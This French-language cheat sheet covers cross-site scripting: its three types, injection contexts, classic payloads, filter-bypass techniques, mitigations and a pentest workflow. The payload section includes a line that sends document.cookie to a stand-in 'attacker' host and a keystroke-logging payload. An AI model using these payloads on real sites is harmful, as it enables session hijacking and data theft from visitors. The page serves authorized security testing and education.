05 oct. 20241 min de lecture
Cheat sheet — XSS (Cross-Site Scripting)
Les trois types de XSS (reflected, stored, DOM-based), l'importance du contexte d'injection (HTML, attribut, JS, URL), les payloads classiques, les techniques de bypass de filtres et les mitigations (échappement, CSP, cookies HttpOnly).
intermediate#xss#web#pentest#javascript#owasp#cheatsheet
Mis à jour le 21 sept. 2026
Payloads à usage d’audit autorisé uniquement.
Une XSS injecte du JavaScript exécuté côté client (navigateur de la victime) : vol de cookies, hijack de session, modification du DOM, phishing.
Trois types
- Reflected — payload dans la requête, renvoyé immédiatement.
GET /search?q=<script>alert(1)</script>. Usage : liens malveillants. - Stored (persistante) — payload stocké (commentaire, profil, message), exécuté pour tous les visiteurs → vol de sessions massif.
- DOM-based — vulnérabilité côté JS frontend (ex.
document.write(location.hash)), invisible côté serveur.
Le contexte dicte le payload
<div>INPUT</div> <!-- HTML -->
<input value="INPUT"> <!-- attribut : sortir avec "> -->
var a = "INPUT" // JS : sortir avec "; -->
<a href="INPUT"> <!-- URL : javascript: -->
Payloads classiques
<script>alert(1)</script>
<img src=x onerror=alert(1)> <!-- sans balise script -->
<body onload=alert(1)> <!-- event handler -->
fetch('http://attacker/?c='+document.cookie) <!-- vol de cookie -->
document.onkeypress = e => fetch('/log?key='+e.key) <!-- keylogger -->
Bypass de filtres
%3Cscript%3Ealert(1)%3C/script%3E (URL encode)
<sCrIpT>alert(1)</sCrIpT> (casse mélangée)
<body onload=alert(1)> (event handler si <script> filtré)
Penser aussi au double encoding.
Mitigations
- Échapper les sorties selon le contexte (HTML encode, JS encode).
- CSP :
Content-Security-Policy: default-src 'self'. - Cookies
HttpOnly: empêchent JS d’accéder àdocument.cookie. - Valider les entrées, et s’appuyer sur l’auto-échappement des frameworks modernes (React, Angular).
Workflow
Identifier les inputs → tester <script>alert(1)</script> → adapter au
contexte → bypass filtres → escalade (vol de session, actions à la place de la
victime, pivot admin).